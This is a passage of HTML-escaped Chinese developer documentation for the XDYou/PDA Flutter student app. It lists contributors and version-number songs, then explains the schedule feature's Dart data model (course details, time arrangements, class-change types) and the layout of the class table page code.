\u003eBrackRat\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e滑块验证码位移量修复\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/chitao1234\" target=\"_blank\" rel=\"noopener\"\n \u003echitao1234\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e辅助修复滑块问题\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Dimole\" target=\"_blank\" rel=\"noopener\"\n \u003eDimole\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e体育页面设计\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://space.bilibili.com/49892391/\" target=\"_blank\" rel=\"noopener\"\n \u003eEliteWars\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDYou 图标设计\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://node.kg.qq.com/personal?uid=669e9a84212d348f\" target=\"_blank\" rel=\"noopener\"\n \u003e木生睡不着\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e卡片设计稿 \u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/public_widget/re_x_card.dart\" target=\"_blank\" rel=\"noopener\"\n \u003eRe_X_Card.dart\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Reverier-Xu\" target=\"_blank\" rel=\"noopener\"\n \u003eReverier-Xu\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDYou 开屏图,支持 iOS 开发\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://ray.al\" target=\"_blank\" rel=\"noopener\"\n \u003eRay\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e首页时间轴卡片,异步加载\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/stalomeow\" target=\"_blank\" rel=\"noopener\"\n \u003estalomeow\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDU Planet \u0026amp; 设置页面\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://mxts.jiujiuer.xyz\" target=\"_blank\" rel=\"noopener\"\n \u003exeonds\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eAndroid 小部件,原生和 Flutter 端拼接代码\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/Xiue233\" target=\"_blank\" rel=\"noopener\"\n \u003eXiue233\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e丁香电费修复\u003c/td\u003e\n\u003ctd\u003e\u003ca class=\"link\" href=\"https://github.com/ZCWzy\" target=\"_blank\" rel=\"noopener\"\n \u003eZCWzy\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e欢迎各位有想法的参与开发~\u003c/p\u003e\n\u003ch2 id=\"版本号对应歌曲简介\"\u003e版本号对应歌曲简介\u003c/h2\u003e\n\u003cp\u003e主要在彩蛋里面,大家可以多去听听:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e版本号\u003c/th\u003e\n\u003cth\u003e歌曲\u003c/th\u003e\n\u003cth\u003e作者\u003c/th\u003e\n\u003cth\u003e专辑 - 发行年份 - 发行商\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.0\u003c/td\u003e\n\u003ctd\u003eDreams Never End\u003c/td\u003e\n\u003ctd\u003eNew Order\u003c/td\u003e\n\u003ctd\u003eMovement - 1980 - Factory\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.1\u003c/td\u003e\n\u003ctd\u003eTequila Sunrise\u003c/td\u003e\n\u003ctd\u003eThe Eagles\u003c/td\u003e\n\u003ctd\u003eDesperado - 1973 - Asylum\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.3\u003c/td\u003e\n\u003ctd\u003eSupertzar / Symptom of the Universe\u003c/td\u003e\n\u003ctd\u003eBlack Sabbath\u003c/td\u003e\n\u003ctd\u003eSabotage - 1975 - Vertigo\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.5\u003c/td\u003e\n\u003ctd\u003eTemple of the King / Catch the Rainbow\u003c/td\u003e\n\u003ctd\u003eRainbow\u003c/td\u003e\n\u003ctd\u003eRitchie Blackmore\u0026rsquo;s Rainbow - 1975 - Oyster\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e0.4.6\u003c/td\u003e\n\u003ctd\u003eThe Perfect Kiss\u003c/td\u003e\n\u003ctd\u003eNew Order\u003c/td\u003e\n\u003ctd\u003eLow-Life - 1985 - Factory\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e1.0.0\u003c/td\u003e\n\u003ctd\u003eRipples\u0026hellip;\u003c/td\u003e\n\u003ctd\u003eGenesis\u003c/td\u003e\n\u003ctd\u003eA Trick of the Tail - 1975 - Charisma\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"新的日程表简介\"\u003e新的日程表简介\u003c/h2\u003e\n\u003cp\u003e(来自 v0.1.0 发行概要,原先内容作废)\u003c/p\u003e\n\u003cp\u003e日程表集合了原先的课表,同时我加上了考试信息和物理实验信息。为了更加方便显示,只能引入午休和晚饭时间,并将一天结束时间定在21:25。另外,很久之前糊上去的数组也没了,改成了类似\u003ca class=\"link\" href=\"https://pub.dev/packages/calendar_view\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_calendar_view\u003c/a\u003e这样,按照连续时间来创建日程卡片。如果这个功能可以彻底和 PDA 解耦合,并将其用于其他的项目,这也许将是能够击败任何闭源课表的无敌存在(bushi)\u003c/p\u003e\n\u003cp\u003e这个实际上是我最开始写 PDA 的动机,很简单,一个页面显示所有跟我们学业相关的所有信息,不香吗?之前那个程序早期版本是彻底割裂的,后来也是仅仅在主页上搞了仨按钮,一个课表、一个考试、一个物理实验。其中后俩还是在明天/接下来有状况的状况下才有,总觉得有种割裂的美。\u003c/p\u003e\n\u003ch3 id=\"课程信息数据模型介绍\"\u003e课程信息数据模型介绍\u003c/h3\u003e\n\u003cp\u003e此处只介绍课程表相关的信息,文件在\u003ccode\u003elib/model/xidian_ids/classtable.dart\u003c/code\u003e。关于考试信息,请看\u003ccode\u003elib/model/xidian_ids/exam.dart\u003c/code\u003e;关于物理实验信息,请看\u003ccode\u003elib/model/xidian_ids/experiment.dart\u003c/code\u003e。\u003c/p\u003e\n\u003ch4 id=\"课程信息\"\u003e课程信息\u003c/h4\u003e\n\u003cp\u003e包括课程名称及序号,和班级序号。其中只有课程名称是必须填入的,课程序号和班级序号是可选项。\u003c/p\u003e\n\u003cp\u003e这主要是用来标识课程名称的,为接下来的时间安排部分铺路。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 班级序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"时间安排\"\u003e时间安排\u003c/h4\u003e\n\u003cp\u003e包括以下部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程索引:课程信息在课程信息数组中的位置。下面我将介绍课程信息数组。\u003c/li\u003e\n\u003cli\u003e数据来源:在 PDA 中,有教务系统获取的课程,有用户添加的课程。这两类信息分别是保存在两个不同的课程信息数组的,这里用一个枚举类型\u003ccode\u003eSource\u003c/code\u003e变量来表示区别。\u003c/li\u003e\n\u003cli\u003e上课周次:一个布尔变量的数组,长度一定程度上代表了该学期的长度。从第一周开始,该周有课是\u003ccode\u003etrue\u003c/code\u003e,否则是\u003ccode\u003efalse\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e星期几上课,第几节上课,第几节下课:分别使用一个\u003ccode\u003eint\u003c/code\u003e变量表示。请注意这里是将一天分成十节课来处理的,课程时间参见文件。星期几上课根据学校后端返回数据,从 1 开始,代表星期一。\u003c/li\u003e\n\u003cli\u003e可选教师信息:这个时间安排应该由谁上课,由于涉及到调课改变老师的因素,故在这里储存。\u003c/li\u003e\n\u003cli\u003e可选教室信息:上课地点信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里解释上课周次中“一定程度”的意义。实际使用中,大多数数据确实能符合这个情况,但很显然,会有很多的例外。我有个活跃用户,他有个课叫金工实习,那个课程的上课周次数组元素比其他的多 5 个,导致最后课表有很多的空白页面。这里讲道理,很无语,但暂时没有好办法解决。\u003c/p\u003e\n\u003cp\u003e另外有一个引申变量:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e上课长度:下课时间减去上课时间的长度,用于渲染课程表。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e另附数据来源里面提到的枚举类型变量。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eenum\u003c/span\u003e \u003cspan class=\"n\"\u003eSource\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eempty\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eschool\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003euser\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以及上课时间安排数组,交替上课开始时间和结束时间。比如第一个元素是第一节课的上课时间,第二个元素是第一节课的下课时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;8:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:05\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;12:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:50\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:40\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;17:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;20:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"课程调整信息\"\u003e课程调整信息\u003c/h4\u003e\n\u003cp\u003e最复杂的类型,由于涉及到很多学校后端的东西,所以进行了很多注释,用来表示与其的对应关系。同时,我对后端数据没有进行过多处理,大多数进一步分析都是在该类里面处理的。\u003c/p\u003e\n\u003cp\u003e包括以下元素:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e调课类型:包括调课,停课,补课。这个将以一个枚举类型\u003ccode\u003eChangeType\u003c/code\u003e来展示。\u003c/li\u003e\n\u003cli\u003e课程号,班级号,课程名:受影响课程的名称等信息。\u003c/li\u003e\n\u003cli\u003e原来周次信息和新的周次信息:都是一个可空的布尔数组,从第一周开始,如果有影响则为\u003ccode\u003etrue\u003c/code\u003e,否则为\u003ccode\u003efalse\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e原先的老师和新的老师:为可空字符串,涉及到判断老师是否改变。\u003c/li\u003e\n\u003cli\u003e原先的课次信息和新的课次信息:一个只有两个元素的\u003ccode\u003eint\u003c/code\u003e数组,表示开始上课时间和停止下课时间。如果没有提供,默认给\u003ccode\u003e[-1,-1]\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e原先的周次信息和新的周次信息:为可空的\u003ccode\u003eint\u003c/code\u003e变量,表示是否更改了上课时间。\u003c/li\u003e\n\u003cli\u003e原先的位置信息和新的位置信息:为可空的字符串变量,表示是否更改了上课地点。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e附带有这些方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e获取原先调整的周次和这次调整的周次信息:提取原来周次信息和新的周次信息数组中\u003ccode\u003etrue\u003c/code\u003e的下标,方便后续处理。\u003c/li\u003e\n\u003cli\u003e判断老师是否改了:从后端获取的前后老师信息对比,看出老师信息改了没。这里涉及到一定的正则表达式和学校后端返回的老师信息,所以本程序里面是以我们学校的返回格式编写的。学校返回的老师信息使用半角逗号和空格\u003ccode\u003e, \u003c/code\u003e分隔,老师信息包含姓名和工号,中间用反斜杠\u003ccode\u003e/\u003c/code\u003e分隔。所以我这里,先去掉空格,然后用逗号和反斜杠来分隔,最后去掉工号,排序保证顺序一致。由此对两个数组进行处理,论证处理后的数据是否一致来判断是否更改老师。\u003c/li\u003e\n\u003cli\u003e显示给用户的原先老师和新老师信息:根据上面提供的信息,去掉数字和斜杠就好。\u003c/li\u003e\n\u003cli\u003e一个转换 ChangeType 为字符串的玩意。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其中,调课类型枚组\u003ccode\u003eChangeType\u003c/code\u003e如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eenum\u003c/span\u003e \u003cspan class=\"n\"\u003eChangeType\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 停课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 补课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"总体信息\"\u003e总体信息\u003c/h4\u003e\n\u003cp\u003e在理想中,这将是传入课程表页面的东西。但在 PDA 中,由于添加删除用户自定义课程功能,导致必须引入程序的控制器,导致这个想法暂时没有实现:P\u003c/p\u003e\n\u003cp\u003e但是,思想还是保留了下来。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e学期长度:通过所有时间安排的上课周次数组中,最长的那个。\u003c/li\u003e\n\u003cli\u003e开学日期和当前学期代码,用来生成每周的索引和对应课程等。\u003c/li\u003e\n\u003cli\u003e两个课程信息数组。一个是教务系统发给的,一个是用户自行输入的。再次注意,里面有\u003c/li\u003e\n\u003cli\u003e两个时间安排数组,再次注意,里面有标识课程信息的类型和课程信息索引。\u003c/li\u003e\n\u003cli\u003e未排课数组,主要为了展示。\u003c/li\u003e\n\u003cli\u003e课程改变信息数组,用来进行调课处理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e还有两个构造方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e通过时间安排元素来获取对应的课程信息。\u003c/li\u003e\n\u003cli\u003e一个拷贝的构造函数,传入一个\u003ccode\u003eClassTableData\u003c/code\u003e生成个一模一样的副本。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"用于缓存的用户添加课程数据\"\u003e用于缓存的用户添加课程数据\u003c/h4\u003e\n\u003cp\u003e这里只是为了方便保存数据而写的,保存了用户自行添加的课程信息和时间安排。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eUserDefinedClassData\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003euserDefinedDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTimeArrangement\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"日程表页面概览\"\u003e日程表页面概览\u003c/h3\u003e\n\u003cp\u003e这里介绍 PDA 代码中,用于渲染日程表的代码。代码在\u003ccode\u003e/lib/page/classtable\u003c/code\u003e下面,组成如下:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003elib/page/classtable\n├── arrangement_detail\n│ ├── arrangement_detail.dart 引入显示信息的东西\n│ ├── arrangement_detail_state.dart 保存需要显示信息的状态\n│ ├── arrangement_list.dart 日程信息卡片清单\n│ ├── course_detail_card.dart 显示课程信息的卡片\n│ ├── custom_list_tile.dart 用于卡片的左图标右文字部件\n│ ├── exam_detail_card.dart 显示考试信息的卡片\n│ └── experiment_detail_card.dart 显示物理实验信息的卡片\n├── class_add 添加课程页面\n│   ├── class_add_window.dart 课程添加主页面\n│   └── wheel_choser.dart 滚轮选择器,用于选择周次课程时间等\n├── class_change 调课清单显示\n│   └── class_change_list.dart\n├── class_not_arranged 未安排时间课程清单\n│   └── not_arranged_class_list.dart\n├── class_page\n│ ├── classtable_page.dart 课程表页面骨架页面和状态\n│ └── empty_classtable_page.dart 空白课程表页面\n├── class_table_view 日程表页面\n│ ├── class_card.dart 日程表卡片\n│ ├── class_organized_data.dart 用于规划日程信息的类\n│ ├── class_table_view.dart 显示日程信息的页面\n│ └── classtable_date_row.dart 显示日期和星期\n├── classtable.dart 课程表页面使用入口\n├── classtable_constant.dart 一些用于显示/渲染的常量\n└── classtable_state.dart 课程表页面的状态\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e请在理解 \u003ccode\u003eInheitedWidget\u003c/code\u003e 和 